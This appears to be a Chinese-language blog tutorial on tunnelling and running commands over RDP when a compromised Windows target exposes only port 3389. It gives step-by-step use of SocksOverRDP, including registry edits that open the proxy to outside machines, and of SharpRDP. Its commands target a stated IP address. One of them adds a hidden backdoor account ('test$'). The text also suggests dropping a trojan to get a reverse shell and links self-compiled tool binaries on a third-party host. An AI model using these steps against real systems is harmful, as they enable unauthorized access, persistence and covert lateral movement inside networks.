RDP协议下的端口复用

1,289 阅读3分钟

0X00 利用场景

当目标服务器的端口未开的时候,我们反弹shell就无法上线,只能通过端口复用的方法去打内网其他机器。

常用的是端口复用80端口,3389端口等。

这里介绍一下3389的端口复用。

1X01 SocksOverRDP

工具地址:

github.com/nccgroup/So…

实现了基于RDP协议的Socket通信

Proxifier(Windows代理工具):

alywp.net/7msCRY

下载本地编译或者下载编译好的使用。

1X02 复现环境

攻击机器A(149.248.7.150

只开了80、3389端口的目标机器B(159.75.2.200)

只有 tcp/udp 3389 端口可以进行通信时,可以利用 RDP 协议,建立 Socks 通道

在A机器上,安装注册DLL:

regsvr32.exe SocksOverRDP-Plugin.dll

image.png 取消注册DLL的命令为:

regsvr32.exe /u SocksOverRDP-Plugin.dll

然后在机器A上,通过mstsc连接到目标机器B,连接的时候会提升本地监听的端口。

image.png

这里默认的是127.0.0.1的1080端口。

连接到目标机器B上之后,运行SocksOverRDP-Server.exe程序

image.png 此时我们的攻击机器A上,可以发现1080端口已经成功建立连接。

image.png 而目标机器上仍然只是使用3389端口进行通信

image.png

此时可以直接在攻击机A上使用127.0.0.1:1080进行代理了~~

我们使用Proxifier代理工具进行测试使用

image.png

默认的是127.0.0.1和1080端口,我们来看下如何修改这些默认值。

打开regedit注册表,在安装注册DLL后会新增这一条注册表。

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Terminal Server Client\Default\AddIns\SocksOverRDP-Plugin

image.png

在这里修改即可。一般我都是把ip修改成0.0.0.0,这样使用公网ip就能在其他机器上直接用该代理。

2X01 SharpRDP

可以在没有系统本地管理权限但拥有该系统的 RDP 权限时使用该工具,实战未测试

不通过 GUI 客户端和 Socks 代理的情况下,基于 RDP 协议进行命令执行。

Windows 中有一个库 mstscax.dll,可以执行任何 RDP 功能。此 DLL 是 Microsoft 终端服务的 ActiveX COM 库,通过利用此 DLL,可以创建控制台应用程序,该控制台应用程序通过 RDP 执行经过身份验证的远程命令执行,而无需 GUI 客户端或 SOCKS 代理。

工具地址

github.com/0xthirteen/…,下载后直接用 Visual Studio 编译运行即可。

官方没编译,网上也没资源,自己编译了一下,给大伙一个连接

alywp.net/4dW0lc

2X02 复现环境

有输入法有时候会有障碍,还是直接传个马,执行反弹马吧。

同为上面机器,机器A执行

>SharpRDP.exe computername=159.75.2.200 username=administrator password=password command="calc.exe" elevated=winr

或者

>SharpRDP.exe computername=159.75.2.200 username=administrator password=password exec=cmd command="net user test$ test111 /add" elevated=winr

image.png image.png

后面的elevated=winr,官方的解释是Execute command elevated through Run Dialog - CURRENTLY BUGGED,不加的话,不能成功执行,到时候可以把官网文档下面几个提升权限的都试试

#Execute command elevated through Run Dialog - CURRENTLY BUGGED
elevated=winr
​
#Execute command elevated through task manager
elevated=taskmgr
​
#Add Network Level Authentication
nla=true#Ask to take over logon session
takeover=true

其中通过wireshark抓包可以分析到,其中命令执行会隐藏在RDP协议中。